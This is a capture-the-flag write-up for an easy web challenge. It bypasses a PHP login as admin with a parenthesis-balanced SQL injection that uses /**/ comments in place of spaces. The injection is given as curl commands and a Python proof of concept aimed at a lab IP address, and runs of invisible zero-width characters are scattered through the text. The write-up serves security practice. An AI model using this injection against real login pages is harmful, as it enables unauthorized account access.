Pryzhok

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-24 | Status: Solved Techniques: comment_based_space_bypass, login_bypass, parenthesis_balancing

Summary

Task: a PHP login page behind Apache redirected unauthenticated users to login.php and rejected normal credentials, while naive SQLi caused 500 errors. Solution: establish a PHP session first, then use a balanced parenthesis SQL injection with /**/ comments to bypass authentication as admin.

Pryzhok — hackerlab

Description

Прыжок Перепрыгнуть через препятствия — это как преодолеть трудности в жизни: иногда нужно просто взять себя в руки и совершить смелый прыжок

English summary: the target was a PHP login page at http://62.173.140.174:16118/ with username/password fields and a guest button. The goal was to bypass authentication and reach the page that reveals the flag.

Analysis

• The root page redirected to login.php.
• Invalid credentials returned 200 OK with Invalid username or password!.
• login.phps and index.phps existed but returned 403, so source disclosure was not available.
• Straightforward SQL injection payloads triggered 500 errors instead of a clean bypass. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The useful pattern from earlier HackerLab tasks was that PHP login forms often accepted comment-based space bypasses like /**/. Here that was not enough on its own: the backend predicate also required a parenthesis jump, so the payload had to close the current expression first and then inject a true condition.

Solution

1. Open the site once to obtain a valid PHPSESSID.
2. Send a POST request to login.php with the balanced payload in username:

 bash read-only • copy allowed Copy
curl -i -c cookies.txt "http://62.173.140.174:16118/" >/dev/null && \
curl -i -b cookies.txt -c cookies.txt \
  -X POST "http://62.173.140.174:16118/login.php" \
  --data-urlencode "username=admin')/**/OR/**/('1'='1" \
  --data-urlencode "password=x"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. The server returned 302 Found to /index.php, which confirmed authentication bypass.
2. Request the protected page with the same session cookie:

 bash read-only • copy allowed Copy
curl -b cookies.txt "http://62.173.140.174:16118/index.php"

Expected response fragment:

 html read-only • copy allowed Copy
Welcome, admin! Take a flag: CODEBY{REDACTED}

Full Python proof of concept:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

base = "http://62.173.140.174:16118"
payload = "admin')/**/OR/**/('1'='1"

s = requests.Session()
s.get(base + "/")

r = s.post(base + "/login.php", data={
    "username": payload,
    "password": "x",
}, allow_redirects=False)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print("Login status:", r.status_code)
print("Location:", r.headers.get("Location"))

page = s.get(base + "/index.php")
print(page.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍